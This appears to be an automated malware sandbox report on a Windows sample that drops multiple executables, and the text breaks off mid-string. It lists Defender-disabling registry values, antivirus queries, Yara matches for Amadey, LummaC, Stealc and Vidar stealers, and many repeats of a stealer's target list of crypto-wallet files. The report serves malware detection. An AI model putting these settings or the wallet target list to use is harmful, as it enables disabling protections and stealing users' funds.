Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00BDCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 0_2_00BDCBEA
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Registry value created: TamperProtection 0
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations
AV process strings found (often used to terminate AV products)
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: procmon.exe
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: wireshark.exe
Source: 85746525a0.exe, 0000000B.00000003.2926346115.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3595404950.000000000177D000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3595404950.000000000176F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys Clipper DLL
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1019676001\6cc6a39605.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe, type: DROPPED
Yara detected Amadeys stealer DLL
Source: Yara match File source: 0.2.file.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.skotes.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.skotes.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.1747399755.0000000000EA1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1720616098.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1741470474.0000000000EA1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: bc893816fa.exe PID: 3400, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 85746525a0.exe PID: 7908, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ed7d415177.exe PID: 944, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ed7d415177.exe PID: 280, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 0000001A.00000003.3064139165.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.3668631588.000000000071E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.3214718315.0000000005640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: d0e32932f8.exe PID: 6672, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: d0e32932f8.exe PID: 7728, type: MEMORYSTR
Yara detected Vidar stealer
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 21.0.bb31c9d4a53941b6b913f33980d23feb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.2959431174.0000000003497000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 81d22383f9.exe PID: 7712, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bb31c9d4a53941b6b913f33980d23feb.exe PID: 2792, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: d0e32932f8.exe PID: 6672, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: 85746525a0.exe String found in binary or memory: %appdata%\Electrum\wallets
Source: 85746525a0.exe String found in binary or memory: %appdata%\ElectronCash\wallets
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 85746525a0.exe String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 85746525a0.exe, 0000000B.00000002.3044100078.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 85746525a0.exe String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 85746525a0.exe String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 85746525a0.exe String found in binary or memory: %appdata%\Ethereum
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 85746525a0.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron 